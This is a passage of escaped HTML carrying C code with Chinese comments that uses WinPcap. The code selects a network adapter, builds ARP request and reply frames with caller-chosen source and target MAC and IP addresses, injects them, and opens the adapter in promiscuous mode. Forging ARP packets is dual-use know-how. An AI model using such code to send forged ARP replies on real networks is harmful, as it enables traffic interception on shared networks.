class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;do<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u8bf7\u9009\u62e9\u4e00\u4e2a\u7f51\u5361:&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdin);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;while(scanf(&#8220;%d&#8221;,&amp;choose)!=1&nbsp;||&nbsp;choose&lt;1&nbsp;||choose&gt;i);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;for(p=alldevs,i=1;&nbsp;i!=choose;&nbsp;p=p-&gt;next,i++);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;strcat(devbuff,p-&gt;name);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memset(ipbuff,NULL,15);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;a=p-&gt;addresses;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;strcat(ipbuff,iptos(((struct&nbsp;sockaddr_in&nbsp;*)a-&gt;addr)-&gt;sin_addr.s_addr));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;pcap_freealldevs(alldevs);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">void&nbsp;Fill_ARPPACKET(char&nbsp;*ARPPacket,int&nbsp;packetsize,char&nbsp;*desmac,char&nbsp;*desIP,char&nbsp;*srcmac,char&nbsp;*srcip,int&nbsp;op)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/*<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;*ARPPacket&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5c06\u8981\u586b\u5145\u7684\u6570\u636e\u5305\u6307\u9488<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;packetsize&nbsp;&nbsp;&nbsp;\u6570\u636e\u5305\u5927\u5c0f<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;*desmac&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u76ee\u6807MAC\u7684\u7f13\u51b2\u533a\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;*desIP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u76ee\u6807IP\u7684\u7f13\u51b2\u533a\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;*srcmac&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u6765\u6e90MAC\u7684\u7f13\u51b2\u533a\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;*srcip&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u6765\u6e90IP\u7684\u7f13\u51b2\u533a\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;op&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ARP\u5305\u7c7b\u578b<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;DLCHEADER&nbsp;*DLCHeader=(DLCHEADER&nbsp;*)ARPPacket;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;ARPFRAME&nbsp;*ARPFrame=(ARPFRAME&nbsp;*)(ARPPacket+sizeof(DLCHEADER));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memset(ARPPacket,NULL,packetsize);&nbsp;&nbsp;\/\/\u6e05\u7a7a\u5305\u5185\u5bb9<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u586b\u5145\u4ee5\u592a\u7f51\u76ee\u7684\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(op==1)&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u8868\u793aARP\u8bf7\u6c42\u5305.<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(DLCHeader-&gt;DesMAC,0xff,6);&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u7528ffffffffffff\u586b\u5145\u4ee5\u592a\u7f51\u5934\u76ee\u7684MAC\u5730\u5740\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(ARPFrame-&gt;Targ_Prot_Addr,NULL,4);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(ARPFrame-&gt;Targ_HW_Addr,NULL,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;else<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(DLCHeader-&gt;DesMAC,desmac,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Targ_Prot_Addr,desIP,4);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Targ_HW_Addr,DLCHeader-&gt;DesMAC,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u586b\u5145\u4ee5\u592a\u7f51\u6e90\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(DLCHeader-&gt;SrcMAC,srcmac,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Send_HW_Addr,srcmac,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u586b\u5145ARP\u5305\u6e90IP<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Send_Prot_Addr,srcip,4);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;DLCHeader-&gt;EtherType=htons((unsigned&nbsp;short)0x0806);&nbsp;&nbsp;&nbsp;&nbsp;\/\/0x0806\u8868\u793aARP\u534f\u8bae\uff0c0x0800\u8868\u793aIP\u534f\u8bae<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;HW_Addr_Len=(unsigned&nbsp;char)6;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;Prot_Addr_Len=(unsigned&nbsp;char)4;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;HW_Type=htons((unsigned&nbsp;short)1);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;Opcode=htons((unsigned&nbsp;short)op);&nbsp;&nbsp;&nbsp;\/\/01\u8868\u793a\u8bf7\u6c42\uff0c02\u8868\u793a\u5e94\u7b54<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;Prot_Type=htons((unsigned&nbsp;short)0x0800);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">BOOL&nbsp;SendPacket(pcap_t&nbsp;*hpcap,char&nbsp;*Packet,int&nbsp;packetsize)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(pcap_sendpacket(hpcap,Packet,packetsize)!=0)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u6570\u636e\u5305\u53d1\u9001\u5931\u8d25\u3002\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;ERROR;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">pcap_t&nbsp;*OpenAdapter(char&nbsp;*devName)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;pcap_t&nbsp;*hpcap=NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;errbuf[PCAP_ERRBUF_SIZE];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if((hpcap=pcap_open_live(devName,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u8bbe\u5907\u540d<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;65536,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u6307\u5b9a\u8981\u6355\u6349\u7684\u6570\u636e\u5305\u7684\u90e8\u5206,65536&nbsp;\u4fdd\u8bc1\u6240\u6709\u5728\u94fe\u8def\u5c42\u4e0a\u7684\u5305\u90fd\u80fd\u591f\u88ab\u6293\u5230<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1,&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\"> <\/span><span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\"> <\/span><span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u6df7\u6742\u6a21\u5f0f<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1000,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\"> <\/span><span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;\/\/&nbsp;\u8bfb\u6570\u636e\u7684\u8d85\u65f6\u65f6\u95f4<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;errbuf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u9519\u8bef\u7f13\u51b2\u533a<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;))==NULL)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u6253\u5f00\u7f51\u5361\u51fa\u9519\u3002\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;hpcap;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" 